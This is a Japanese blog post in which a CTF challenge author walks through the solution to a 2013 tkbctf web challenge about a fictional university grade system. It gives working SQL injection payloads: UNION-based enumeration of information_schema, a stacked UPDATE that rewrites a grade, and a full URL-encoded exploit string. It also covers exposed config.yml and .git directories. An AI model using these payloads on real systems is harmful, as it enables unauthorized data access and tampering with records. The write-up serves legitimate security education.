Posts for the month of May 2013

第1回tkbctf 問題「Are these your grades?」を作ってみた

くりすです。

つい先日の5月4日昼から5日朝まで夜通しで「tkbctf」なるハッキングコンテスト、いわゆるCTFが開催されましたが、わたしはそれに1つミッションを提供しました。

それが、「Are these your grades?」です。

あらゆる情報系ダメ学生の夢である、「学校の成績管理システムをハックして、落第をなかったことにする」というのが目標のミッションです。

それでは、以下ネタバレとなります。


ミッション説明

こんにちは。博麗大学のS.Iと申します。
春休みに入り成績が付いたのですが、どうも線形代数Iの成績が芳しくないのです。これを落とすとたいへんなことになってしまいます。
線形代数にF(落第点)が付いているのですが、これをD(及第点ギリギリ)に書き換えてくださいませんか?
わたしのログイン情報は 13413983:f.scarlet495 なので、ご参考まで。
どうかお力添えをお願いします。

--- このCTFミッションは、WIDEプロジェクト (http://www.wide.ad.jp) 提供のネットワークにて公開しております。所在地: 筑波大学3F棟230号室 産学間連携推進室 ---

想定していた解答

  1. 普通にログインする
  1. Subjects を開くと、URLが index.pl?mode=subjects&subid=LAI というふうになる。この subid がインジェクションポイントである。
    ブラインドインジェクションなので気合ゲー。以下示すSQLクエリの断片は、 subid GETパラメータから注入するSQLインジェクションである。
  1. ' UNION ALL SELECT null, null, null, null, null, @@VERSION #
    
    とかいったふうに順々に null を増やしつつ UNION 攻めをすると、 null を5個投入した後にページにバージョン情報が現れるので、SQLインジェクションが有効と分かる。
    なお、 # はURLに入ってると「同じページのなんか」という意味を持つので、パラメータで送信するときに %23 でエンコードすること。
  1. テーブル名をゲットするために、
    ' UNION ALL SELECT null, null, null, null, null, GROUP_CONCAT(distinct table_schema separator ', ') FROM information_schema.columns #
    
    というSQLインジェクションを発射する。
    GROUP_CONCAT を使うとと1行に全てのrowsが降ってくるので、今回みたいにページに出現するrowは最初の1行だけという場合に都合がよい。←重要
  1. この ctf とかいうデータベースが怪しいので、覗き見る。
    ' UNION ALL SELECT null, null, null, null, null, GROUP_CONCAT(distinct TABLE_NAME separator ', ') FROM information_schema.columns WHERE TABLE_SCHEMA = 'ctf
    
  1. grades, users, subjects というテーブルがあることが分かる。 grades が怪しいので中身を見る。
    ' UNION ALL SELECT null, null, null, null, null, GROUP_CONCAT(distinct COLUMN_NAME separator ', ') FROM information_schema.columns WHERE TABLE_SCHEMA = 'ctf' AND TABLE_NAME = 'grades
    
  1. grades というテーブルの中には、 userid と、 grades_json というカラムが存在していることが分かった。 userid とそれに対応する grades_json を引っ張ってくる。
    ' UNION ALL SELECT null, null, null, null, userid, grades_json FROM grades #
    
  1. grades から引っ張ってきた userid は、既知であるユーザネーム 13413983 とは異なり、なんらかのハッシュになっているので、テーブル users13413983 に対応するハッシュが眠っていないか確かめる。
    ' UNION ALL SELECT null, null, null, null, userid, username FROM users WHERE username = '13413983
    
    Note: ユーザネーム 13413983VARCHAR 型であるので、文字列として取り扱うべきである。根拠は、 users テーブルを覗き見れば、 yakumo@hakurei.ac.jp という username のアカウントの存在が分かることから明らか。
  1. userid = 896b3697369ab1ca14612120ded84c68 に対応する grades_json を引っ張ってくる。
    ' UNION ALL SELECT null, null, null, null, userid, grades_json FROM grades WHERE userid = '896b3697369ab1ca14612120ded84c68
    
  1. 引っ張ってきたJSONはこうなっている:
    [{"subject_id":"LAI","cemester":"Last-half 2012","subject":"Linear Algebra I","grade":"F"},{"subject_id":"PHY","cemester":"Last-half 2012","subject":"Physics","grade":"D"},{"subject_id":"CLI","cemester":"Last-half 2012","subject":"Calculus I","grade":"C"},{"subject_id":"PGI","cemester":"Last-half 2012","subject":"Programming I","grade":"A"},{"subject_id":"MON","cemester":"Last-half 2012","subject":"Introduction to Monty Python","grade":"A"},{"subject_id":"SLO","cemester":"Last-half 2012","subject":"Slacking Off","grade":"A"}]
    

↑これを

[{"subject_id":"LAI","cemester":"Last-half 2012","subject":"Linear Algebra I","grade":"D"},中略,{"subject_id":"SLO","cemester":"Last-half 2012","subject":"Slacking Off","grade":"A"}]

↑こうして、

'; UPDATE grades SET grades_json = '[{"subject_id":"LAI","cemester":"Last-half 2012","subject":"Linear Algebra I","grade":"D"},{"subject_id":"PHY","cemester":"Last-half 2012","subject":"Physics","grade":"D"},{"subject_id":"CLI","cemester":"Last-half 2012","subject":"Calculus I","grade":"C"},{"subject_id":"PGI","cemester":"Last-half 2012","subject":"Programming I","grade":"A"},{"subject_id":"MON","cemester":"Last-half 2012","subject":"Introduction to Monty Python","grade":"A"},{"subject_id":"SLO","cemester":"Last-half 2012","subject":"Slacking Off","grade":"A"}]' WHERE userid = '896b3697369ab1ca14612120ded84c68' #

↑このように複文構造で UPDATE 文をインジェクトします。

  1. 最後に、これをURLエンコードして、 subid パラメータに叩きこんで、攻略は完了です。
    http://web400.tkbctf.info/index.pl?mode=subjects&subid=%27%3B%20UPDATE%20grades%20SET%20grades_json%20%3D%20%27%5B%7B%22subject_id%22%3A%22LAI%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Linear%20Algebra%20I%22%2C%22grade%22%3A%22D%22%7D%2C%7B%22subject_id%22%3A%22PHY%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Physics%22%2C%22grade%22%3A%22D%22%7D%2C%7B%22subject_id%22%3A%22CLI%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Calculus%20I%22%2C%22grade%22%3A%22C%22%7D%2C%7B%22subject_id%22%3A%22PGI%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Programming%20I%22%2C%22grade%22%3A%22A%22%7D%2C%7B%22subject_id%22%3A%22MON%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Introduction%20to%20Monty%20Python%22%2C%22grade%22%3A%22A%22%7D%2C%7B%22subject_id%22%3A%22SLO%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Slacking%20Off%22%2C%22grade%22%3A%22A%22%7D%5D%27%E3%80%80WHERE%20userid%20%3D%20%27896b3697369ab1ca14612120ded84c68%27%20%23
    

想定外の解法

いやー実はわたしのミスで、上記のように意図的に盛り込んだSQLインジェクションとは異なるセキュリティホールが存在していたのです。
以下はそれらの説明です。といっても、非常に単純な解法となるので説明はほぼ不要でしょう。

  1. http://web400.tkbctf.info/etc/config.yml に対するアクセス制御が不十分

なんのことはないです。configファイルがwebから閲覧可能な状態になっていたので、ディレクトリを総当り的に漁ったりエラー画面から config.yml という設定ファイルの存在を知ったりすれば到達できます。
この中にスコアを獲得するための重要な情報が含まれていました。

  1. http://web400.tkbctf.info/.git/ に対するアクセス制御が不十分

いやこれはひどかったです。ソースコードもろとも丸見えになってしまいました。
gitを使ってwebサービスの開発管理をするときは、 .git ディレクトリの取扱いに気をつけるべきですね。
最良の対策は、「 .git ディレクトリが DocumentRoot 内に存在しないようにする」ことではないでしょうか。
今回のこのミスを通して自分もまたひとつおもしろいことが学べたので、このCTFに出題してよかったと思いました。


正解者に万雷の拍手を

早着順です。(敬称略)

付録

次のGitHubリポジトリにて、本問題のソースコードを公開する予定です。
まだREADMEが完成していないため未公開ですが、できれば本日中に公開しますので、興味がありましたらご覧ください。

tkbctf1 - Are these your grades?

みなさま、お疲れ様でした!!